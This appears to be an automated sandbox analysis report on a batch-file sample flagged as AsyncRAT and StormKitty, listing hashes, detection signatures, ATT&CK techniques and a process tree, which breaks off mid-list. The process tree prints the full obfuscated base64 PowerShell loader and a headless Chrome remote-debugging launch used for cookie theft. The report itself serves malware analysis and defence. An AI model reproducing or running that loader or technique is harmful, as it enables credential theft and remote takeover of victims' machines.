asyncrat | 1cbbb5dfc0c192f12c73ffef24f957c47bf36fb0c7c3b47076bac0872fac33a1

Analysis

max time kernel
149s
max time network
142s
platform
windows11-21h2_x64
resource
win11-20251015-en
resource tags

arch:x64arch:x86image:win11-20251015-enlocale:en-usos:windows11-21h2-x64system
submitted
27/10/2025, 17:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
20250804.bat
Size 3.8MB
Sample251027-wk8fqagx8f
SHA256 1cbbb5dfc0c192f12c73ffef24f957c47bf36fb0c7c3b47076bac0872fac33a1
MD5 41c52462025f68f55ec7c9838017b1f4
SHA1 73a626b568091d04636f572527b2b03df1ad8294
SHA512 80719b305ca25ae70fd75a189495fae95a3e02a13dd07dd123f364cc6146d71ffc37ff8d5a3a9b1c9248075323f55152d24768878f99a6cdac8559b45223af21
SSDEEP 49152:77DW5f3pMsesYyNX+EGpKa6C+9a9YTg7CuJWuIf5WJkYrFVTsz0nE:A
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

credential_access discovery execution asyncrat stormkitty rat stealer

Malware Config

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral2/memory/5592-16-0x000001CBA5150000-0x000001CBA5656000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
1	5592	powershell.exe
3	5592	powershell.exe
5	5592	powershell.exe

Uses browser remote debugging 2 TTPs 8 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
5264	chrome.exe
4244	msedge.exe
5444	msedge.exe
3704	msedge.exe
5064	chrome.exe
5900	chrome.exe
2288	chrome.exe
4524	chrome.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8d48.bat	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\8d48.bat	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
4988	chromelevator.exe
3128	chromelevator.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5592	powershell.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	chrome.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134060616785572392"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-503569783-3534512106-765729973-1000\{56E650D2-B941-43E3-B996-3A0600F96BD6}	msedge.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
5592	powershell.exe
5592	powershell.exe
5592	powershell.exe
5592	powershell.exe
5592	powershell.exe
5592	powershell.exe
5064	chrome.exe
5064	chrome.exe
5592	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
5064	chrome.exe
5064	chrome.exe
5064	chrome.exe
5064	chrome.exe
4244	msedge.exe
4244	msedge.exe

Suspicious use of AdjustPrivilegeToken 27 IoCs

description	pid	Process
Token: SeDebugPrivilege	5592	powershell.exe
Token: SeShutdownPrivilege	5064	chrome.exe
Token: SeCreatePagefilePrivilege	5064	chrome.exe
Token: SeShutdownPrivilege	5064	chrome.exe
Token: SeCreatePagefilePrivilege	5064	chrome.exe
Token: SeShutdownPrivilege	5064	chrome.exe
Token: SeCreatePagefilePrivilege	5064	chrome.exe
Token: SeShutdownPrivilege	5064	chrome.exe
Token: SeCreatePagefilePrivilege	5064	chrome.exe
Token: SeShutdownPrivilege	5064	chrome.exe
Token: SeCreatePagefilePrivilege	5064	chrome.exe
Token: SeShutdownPrivilege	5064	chrome.exe
Token: SeCreatePagefilePrivilege	5064	chrome.exe
Token: SeShutdownPrivilege	5064	chrome.exe
Token: SeCreatePagefilePrivilege	5064	chrome.exe
Token: SeShutdownPrivilege	5064	chrome.exe
Token: SeCreatePagefilePrivilege	5064	chrome.exe
Token: SeShutdownPrivilege	5064	chrome.exe
Token: SeCreatePagefilePrivilege	5064	chrome.exe
Token: SeShutdownPrivilege	5064	chrome.exe
Token: SeCreatePagefilePrivilege	5064	chrome.exe
Token: SeShutdownPrivilege	5064	chrome.exe
Token: SeCreatePagefilePrivilege	5064	chrome.exe
Token: SeShutdownPrivilege	5064	chrome.exe
Token: SeCreatePagefilePrivilege	5064	chrome.exe
Token: SeShutdownPrivilege	5064	chrome.exe
Token: SeCreatePagefilePrivilege	5064	chrome.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
5064	chrome.exe
4244	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5592	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5784 wrote to memory of 2032	5784	cmd.exe	79
PID 5784 wrote to memory of 2032	5784	cmd.exe	79
PID 2032 wrote to memory of 4964	2032	cmd.exe	80
PID 2032 wrote to memory of 4964	2032	cmd.exe	80
PID 4964 wrote to memory of 5592	4964	cmd.exe	82
PID 4964 wrote to memory of 5592	4964	cmd.exe	82
PID 5592 wrote to memory of 4988	5592	powershell.exe	84
PID 5592 wrote to memory of 4988	5592	powershell.exe	84
PID 4988 wrote to memory of 4984	4988	chromelevator.exe	86
PID 4988 wrote to memory of 4984	4988	chromelevator.exe	86
PID 4988 wrote to memory of 4984	4988	chromelevator.exe	86
PID 4988 wrote to memory of 4984	4988	chromelevator.exe	86
PID 5592 wrote to memory of 5064	5592	powershell.exe	87
PID 5592 wrote to memory of 5064	5592	powershell.exe	87
PID 5064 wrote to memory of 2384	5064	chrome.exe	88
PID 5064 wrote to memory of 2384	5064	chrome.exe	88
PID 5064 wrote to memory of 3460	5064	chrome.exe	91
PID 5064 wrote to memory of 3460	5064	chrome.exe	91
PID 5064 wrote to memory of 1164	5064	chrome.exe	90
PID 5064 wrote to memory of 1164	5064	chrome.exe	90
PID 5064 wrote to memory of 3460	5064	chrome.exe	91
PID 5064 wrote to memory of 3460	5064	chrome.exe	91
PID 5064 wrote to memory of 3460	5064	chrome.exe	91
PID 5064 wrote to memory of 3460	5064	chrome.exe	91
PID 5064 wrote to memory of 3460	5064	chrome.exe	91
PID 5064 wrote to memory of 3460	5064	chrome.exe	91
PID 5064 wrote to memory of 3460	5064	chrome.exe	91
PID 5064 wrote to memory of 3460	5064	chrome.exe	91
PID 5064 wrote to memory of 3460	5064	chrome.exe	91
PID 5064 wrote to memory of 3460	5064	chrome.exe	91
PID 5064 wrote to memory of 3460	5064	chrome.exe	91
PID 5064 wrote to memory of 3460	5064	chrome.exe	91
PID 5064 wrote to memory of 3460	5064	chrome.exe	91
PID 5064 wrote to memory of 3460	5064	chrome.exe	91
PID 5064 wrote to memory of 3460	5064	chrome.exe	91
PID 5064 wrote to memory of 3460	5064	chrome.exe	91
PID 5064 wrote to memory of 3460	5064	chrome.exe	91
PID 5064 wrote to memory of 3460	5064	chrome.exe	91
PID 5064 wrote to memory of 3460	5064	chrome.exe	91
PID 5064 wrote to memory of 3460	5064	chrome.exe	91
PID 5064 wrote to memory of 3460	5064	chrome.exe	91
PID 5064 wrote to memory of 3460	5064	chrome.exe	91
PID 5064 wrote to memory of 3460	5064	chrome.exe	91
PID 5064 wrote to memory of 3460	5064	chrome.exe	91
PID 5064 wrote to memory of 3460	5064	chrome.exe	91
PID 5064 wrote to memory of 3460	5064	chrome.exe	91
PID 5064 wrote to memory of 3460	5064	chrome.exe	91
PID 5064 wrote to memory of 3460	5064	chrome.exe	91
PID 5064 wrote to memory of 5940	5064	chrome.exe	92
PID 5064 wrote to memory of 5940	5064	chrome.exe	92
PID 5064 wrote to memory of 5940	5064	chrome.exe	92
PID 5064 wrote to memory of 5940	5064	chrome.exe	92
PID 5064 wrote to memory of 5940	5064	chrome.exe	92
PID 5064 wrote to memory of 5940	5064	chrome.exe	92
PID 5064 wrote to memory of 5940	5064	chrome.exe	92
PID 5064 wrote to memory of 5940	5064	chrome.exe	92
PID 5064 wrote to memory of 5940	5064	chrome.exe	92
PID 5064 wrote to memory of 5940	5064	chrome.exe	92
PID 5064 wrote to memory of 5940	5064	chrome.exe	92
PID 5064 wrote to memory of 5940	5064	chrome.exe	92
PID 5064 wrote to memory of 5940	5064	chrome.exe	92
PID 5064 wrote to memory of 5940	5064	chrome.exe	92
PID 5064 wrote to memory of 5940	5064	chrome.exe	92
PID 5064 wrote to memory of 5940	5064	chrome.exe	92

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\20250804.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5784
- C:\Windows\system32\cmd.exe
  cmd /c start "" /min "C:\Users\Admin\AppData\Local\Temp\20250804.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2032
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\20250804.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4964
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      ""C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"" -nop -w h -c ""iex([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(('CgAkAGIAYQBuAGEAbgBhAD0AIgAkAGUAbgBctndeaccfchq2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFctndeaccfchqwAYQBvAGMALgBiAGEAdAAiADsAaQBmACgAVctndeaccfchqABlAHMAdAAtAFAAYQB0AGgAIAAkAGIAYQBuctndeaccfchqAGEAbgBhACkAewAkAHIAYQB3AEwAaQBuAGUctndeaccfchqAcwA9AGcAYwAgACQAYgBhAG4AYQBuAGEAfActndeaccfchqA/AHsAJABfACAALQBsAGkAawBlACAAIgA6ActndeaccfchqDoAOgAqACIAfQA7ACQAcABhAHIAdAAxAD0ActndeaccfchqKAAkAHIAYQB3AEwAaQBuAGUAcwB8AD8AewActndeaccfchqkAF8AIAAtAGwAaQBrAGUAIAAiADoAOgA6ADctndeaccfchqEAKgAiAH0AfAAlAHsAJABfAC4AUwB1AGIAcctndeaccfchqwB0AHIAaQBuAGcAKAA0ACkAfQApADsAJABwctndeaccfchqAGEAcgB0ADIAPQAoACQAcgBhAHcATABpAG4ctndeaccfchqAZQBzAHwAPwB7ACQAXwAgAC0AbABpAGsAZQctndeaccfchqAgACIAOgA6ADoAMgAqACIAfQB8ACUAewAkActndeaccfchqF8ALgBTAHUAYgBzAHQAcgBpAG4AZwAoADQActndeaccfchqKQB9ACkAOwAkAHAAYQByAHQAMwA9ACgAJABctndeaccfchqyAGEAdwBMAGkAbgBlAHMAfAA/AHsAJABfACctndeaccfchqAALQBsAGkAawBlACAAIgA6ADoAOgAzACoAIctndeaccfchqgB9AHwAJQB7ACQAXwAuAFMAdQBiAHMAdAByctndeaccfchqAGkAbgBnACgANAApAH0AKQA7ACQAcABhAHIctndeaccfchqAdAA0AD0AKAAkAHIAYQB3AEwAaQBuAGUAcwctndeaccfchqB8AD8AewAkAF8AIAAtAGwAaQBrAGUAIAAiActndeaccfchqDoAOgA6ADQAKgAiAH0AfAAlAHsAJABfAC4ActndeaccfchqUwB1AGIAcwB0AHIAaQBuAGcAKAA0ACkAfQActndeaccfchqpADsAJABwAGEAcgB0ADUAPQAoACQAcgBhAHctndeaccfchqcATABpAG4AZQBzAHwAPwB7ACQAXwAgAC0AbctndeaccfchqABpAGsAZQAgACIAOgA6ADoANQAqACIAfQB8ctndeaccfchqACUAewAkAF8ALgBTAHUAYgBzAHQAcgBpAG4ctndeaccfchqAZwAoADQAKQB9ACkAOwAkAGsAaQB3AGkAPQctndeaccfchqAkAHAAYQByAHQAMQArACQAcABhAHIAdAAyActndeaccfchqCsAJABwAGEAcgB0ADMAKwAkAHAAYQByAHQActndeaccfchqNAArACQAcABhAHIAdAA1ADsAJABhAHAAcABctndeaccfchqsAGUAPQAoACQAawBpAHcAaQAtAHIAZQBwAGctndeaccfchqwAYQBjAGUAIgBjAHIAYQBuAGIAZQByAHIAectndeaccfchqQBiAGwAYQBjAGsAYgBlAHIAcgB5ACIALAAictndeaccfchqACIALQByAGUAcABsAGEAYwBlACIAbQByAGcctndeaccfchqAYwB4AHUAZwBwAGMAYgBkAG0AZABtAGUAIgctndeaccfchqAsACIAIgApADsAaQBmACgAJABhAHAAcABsActndeaccfchqGUAKQB7AHQAcgB5AHsAaQBlAHgAKABbAFQActndeaccfchqZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQActndeaccfchq6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFctndeaccfchqMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcctndeaccfchqgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ctndeaccfchqADQAUwB0AHIAaQBuAGcAKAAkAGEAcABwAGwctndeaccfchqAZQApACkAKQB9AGMAYQB0AGMAaAB7AH0AfQctndeaccfchqB9AAoAJABvAHIAYQBuAGcAZQA9ACcASAA0ActndeaccfchqHMASQBBAEEAQQBBAEEAQQBBAEUAQQBKAFYActndeaccfchqVQA3ADIAKwBiAE0AQgBEADkAVgA2AHkASwBctndeaccfchqLAGIAQgBrAGIAcgBkAE8AMwBaAFEAbwBIAHctndeaccfchqgASwBhAGIARgAxAC8AcABTAFYAZAB0AGEAYctndeaccfchqgBWAFoATwBBAEkAYgBzAEIARwB0AG8ARwBRctndeaccfchqAHEAZgAvADcARABDAFIAcABtAGwAWgByAHgctndeaccfchqAdwBjAEUANQAvAGYAZQBuAGQAKwBkAGIAUQctndeaccfchqBnADYAdgBRADkAUQBGAHgAbgBBAHMAdgBhActndeaccfchqFYATQA3AGcAOAA2ADUAMABPAE8AbwBiAG4ActndeaccfchqeABYAGsAWgAzAHIASABiAHQAMQBjAFMAaABctndeaccfchqMAHcAMQBLAHUAUQB0ADQAUgA1ADIAaQBkAHctndeaccfchqIAcABCAEMAbgB6AEYATwBVAE0AaQBTAHgATctndeaccfchqwBUAEMATQBoAGcAcwBTAC8ATQB5AEsAcwBQctndeaccfchqADAAZwAvAEIAZwBGAFoALwBuAFUAbgBUAGkctndeaccfchqARQBWAHgATgBnAEIATAB4AFYAVQBGAGQAZwctndeaccfchqBXAFIAYQBMADQAVgBKAEEAawBMAEgAQQBQActndeaccfchqDUARgAyADcAYgBRAHMAZwBDAGsAeQByAHMActndeaccfchqOABuAEUAcAA5AHkASABWACsAZwAyAFQAVQBctndeaccfchqJAFEASgBiAEIAVQA2AGQAdABQAEIAVQBiAEctndeaccfchqUAOQB5AG0AYgB2AHEASwB4AFIAQwAxAEYAUctndeaccfchqgBzAGUAMgA4ACsAVwBwAHoARABFAFUAYQB3ctndeaccfchqAG0AYgBzAHcAeQBFADAAcwBDAGgANABIAEcctndeaccfchqAZgBTAEQAagA0ADcAQwBpAGgAKwBXAGIAagctndeaccfchqArADgASwArAE8AQgB4AEcAZQA5AEoAaABhActndeaccfchqGIAcAAzADAAVAB6AFoAdgBkAGwAMQBSAHkActndeaccfchqegB5AFIAOAAwAGYAcgBOAC8AUAB2AFgAMgBctndeaccfchqaAEQATwBPAGgATwB2ADcAVwA2AHoAYQAyADctndeaccfchqkAbgByADAAOAAwADAAcABEAG8AYgBoAEwAMctndeaccfchqwByAFQAZABLAE8AdgA0AHYAZwA4AEEARwBlctndeaccfchqAHcAYQBOADUAawBGADkAMgAxAG4AQQA5AGUctndeaccfchqAdABUAFYAUgBXAGIAOQBXAHIALwAwADkAWActndeaccfchqBDADIAdQBqAEIAYQBnAFUAcwBGAHEANgBCActndeaccfchqE0AbQBIAGcAdgBDAFoATQBCAEYAUABLAFMActndeaccfchqTQBSAFAAMgBJAGUANwBPAE4ARAByAGYAUQBctndeaccfchqYAGcAcwA5AC8AdQBJAFQAWQBGAE0AVgB2AGctndeaccfchqwAUQBDAFAAcQBRAHkANABmAEoAWgBhADcAZctndeaccfchqgBDAGoANABWADAASAB0AFoAagB0AGYAQwBrctndeaccfchqAHQAMwBoAGgAcgBpAEsAbAAwAHUANABaADUctndeaccfchqAQgAvAE8AMwBYAHYAdwBGAEYAcgBhAGQAbgctndeaccfchqBTAE8AVAB5AEgAbQBvAHQAQgBlAEEAWQBuActndeaccfchqE4AMQBnAGEAegB6AGgATABvADAAdAA3AEEActndeaccfchqcgBNAEgAMwBDAFkAWAB3AFoAYgBEAE4ANAActndeaccfchqwAFMAQQBsAEwAcABJAC8ATwAyAEcASgBzAHctndeaccfchqUARQBkAFcAVQB0AE4ATgBtAEMAYgBIAHcAdctndeaccfchqgBaADAAdwAzAFkAaABtAHoATgBwAEoAcABZctndeaccfchqAEYASwBNAHUAVgBuAFgAKwBXAFIAbAAyADgctndeaccfchqAVQB5ADAAWABhAHcAWQByADAAYwBIAFAATwctndeaccfchqBlAEUASwBUAFEAdwBVAGQAMwA1ADEASAB1ActndeaccfchqGIAcgBhADAALwB2AHkAMABZAFgAVABPAE0ActndeaccfchqawBIAFgAVQAzAGsASgBRAFEAUQBWAEYAZgBctndeaccfchqlAGsAaABOAGkATgBDAHIAMgBUAEUAMAA1ADctndeaccfchqgAYwArAEkAVwBDAGkAWgAzAGQAOAA4AE0AcctndeaccfchqAAwAEUAUwB6AHIAcQAxAEUAQgA0AHcASgBZctndeaccfchqAG8AUgBwADAAeAB0AEwATwBJAGoAbAB2AEUctndeaccfchqAWgBtAEEAWgBMAG8AMgBnADEAVQAzAFUAUgctndeaccfchqBuAFEAYwBqADUARgBMAGgAcQB5AE4AOABTActndeaccfchqFgATAA5AHYAcQBiAE0ANQAvAG0AWQBxAGcActndeaccfchqagBLADYANgBxADYAbwBEAHAARwBJAGYATgActndeaccfchq4AHMAYQA1AFMAVwB6ACsAawBVAGUAbgB4AEctndeaccfchqoAUgBDAC8ARgAwAFYAagBtAEMAdQB6AHgAbctndeaccfchqAByAFkAUwBTAEsAcQB6AE0AbQBBAFoAVgBSctndeaccfchqAHcARgBnAE0AcgBEADUAbAB1ADgAUQBsAGwctndeaccfchqAWQBIAFgAMAB1AEEAUAB4AFEAbQBRAGEAeQctndeaccfchqB2AGQAYwBIADEARwBHAGEAbgBVAEwAVgBZActndeaccfchqGIAUQBZAEwAVwBFAEgAVQBXAEUAawB0AGQActndeaccfchqVQBoAFcAYQBqADMAVQBZAE4AeQB5AG8AQgBctndeaccfchqGAGEAcgBhAFcAKwBiAE4AUABMAGUANwBBAHctndeaccfchqEAZQB1AHIASQAvAHYAZgB1ADEATAArAGIAZctndeaccfchqwA2ADEANgB6ADYAZQAzAGcAdwA4AHYAbABDctndeaccfchqADMANQBNADEAcQBQAFMAeABvAGkAKwByAGIctndeaccfchqAZAB6AHEAcwAyADIANABMAGcALwBtADMAZQctndeaccfchqBwAEUASQBMAE8AOABiADUARQA1ACsAYwBjActndeaccfchqDkAVQBTAGwATwA5AHUANABzAFMAMwBPAG4ActndeaccfchqOQA3AFAAMABmADYAawBmAEsAMgBvADUASQActndeaccfchq2AGoATwBqAGEAbwBPAEwAUwBPAGwASQBqAEctndeaccfchqoAYgBqAHgAVQBqAHMALwBIAHUAdgBYAGEAactndeaccfchqAA4AHgAYwB6AHIAcQB2AFkAVABnAFkAQQBBctndeaccfchqAEEAPQA9ACcAOwAkAG0AYQBuAGcAbwA9AFsctndeaccfchqAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwctndeaccfchqBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnActndeaccfchqCgAJABvAHIAYQBuAGcAZQApADsAJABwAGkActndeaccfchqbgBlAGEAcABwAGwAZQA9AE4AZQB3AC0ATwBctndeaccfchqiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHctndeaccfchqIAeQBTAHQAcgBlAGEAbQAoACwAJABtAGEAbctndeaccfchqgBnAG8AKQA7AGkAZQB4ACgATgBlAHcALQBPctndeaccfchqAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUctndeaccfchqAYQBtAFIAZQBhAGQAZQByACgATgBlAHcALQctndeaccfchqBPAGIAagBlAGMAdAAgAEkATwAuAEMAbwBtActndeaccfchqHAAcgBlAHMAcwBpAG8AbgAuAEcAWgBpAHAActndeaccfchqUwB0AHIAZQBhAG0AKAAkAHAAaQBuAGUAYQBctndeaccfchqwAHAAbABlACwAWwBJAE8ALgBDAG8AbQBwAHctndeaccfchqIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZctndeaccfchqQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEctndeaccfchqAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4ctndeaccfchqAUgBlAGEAZABUAG8ARQBuAGQAKAApAAoA'.Replace('ctndeaccfchq','')))))""
      4⤵
      Badlisted process makes network request
      Drops startup file
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:5592
    - - C:\Users\Admin\AppData\Local\Temp\chromelevator_temp\f6b3507068a54bd79f0358e103e8dfcd\chromelevator.exe
        
        "C:\Users\Admin\AppData\Local\Temp\chromelevator_temp\f6b3507068a54bd79f0358e103e8dfcd\chromelevator.exe" chrome --output-path "C:\Users\Admin\AppData\Local\Temp\chromelevator_241dfee6877e4a57ab322431633c050a"
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4988
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        6⤵
        
        PID:4984
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --headless=new --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --disable-gpu --disable-logging
        5⤵
        Uses browser remote debugging
        Drops file in Windows directory
        Enumerates system info in registry
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of WriteProcessMemory
        
        PID:5064
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fffb189dcf8,0x7fffb189dd04,0x7fffb189dd10
        6⤵
        
        PID:2384
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --field-trial-handle=2524,i,3199398129187828262,6466708909702535030,262144 --disable-features=PaintHolding --variations-seed-version=20251015-090059.375000 --disable-logging --mojo-platform-channel-handle=2520 /prefetch:11
        6⤵
        
        PID:1164
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --headless=new --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=2492,i,3199398129187828262,6466708909702535030,262144 --disable-features=PaintHolding --variations-seed-version=20251015-090059.375000 --disable-logging --mojo-platform-channel-handle=2484 /prefetch:2
        6⤵
        
        PID:3460
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --field-trial-handle=2996,i,3199398129187828262,6466708909702535030,262144 --disable-features=PaintHolding --variations-seed-version=20251015-090059.375000 --disable-logging --mojo-platform-channel-handle=3008 /prefetch:13
        6⤵
        
        PID:5940
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=2644,i,3199398129187828262,6466708909702535030,262144 --disable-features=PaintHolding --variations-seed-version=20251015-090059.375000 --disable-logging --mojo-platform-channel-handle=3120 /prefetch:1
        6⤵
        Uses browser remote debugging
        
        PID:5900
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3144,i,3199398129187828262,6466708909702535030,262144 --disable-features=PaintHolding --variations-seed-version=20251015-090059.375000 --disable-logging --mojo-platform-channel-handle=3140 /prefetch:1
        6⤵
        Uses browser remote debugging
        
        PID:2288
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4476,i,3199398129187828262,6466708909702535030,262144 --disable-features=PaintHolding --variations-seed-version=20251015-090059.375000 --disable-logging --mojo-platform-channel-handle=4480 /prefetch:9
        6⤵
        Uses browser remote debugging
        
        PID:4524
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4496,i,3199398129187828262,6466708909702535030,262144 --disable-features=PaintHolding --variations-seed-version=20251015-090059.375000 --disable-logging --mojo-platform-channel-handle=4424 /prefetch:1
        6⤵
        Uses browser remote debugging
        
        PID:5264
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
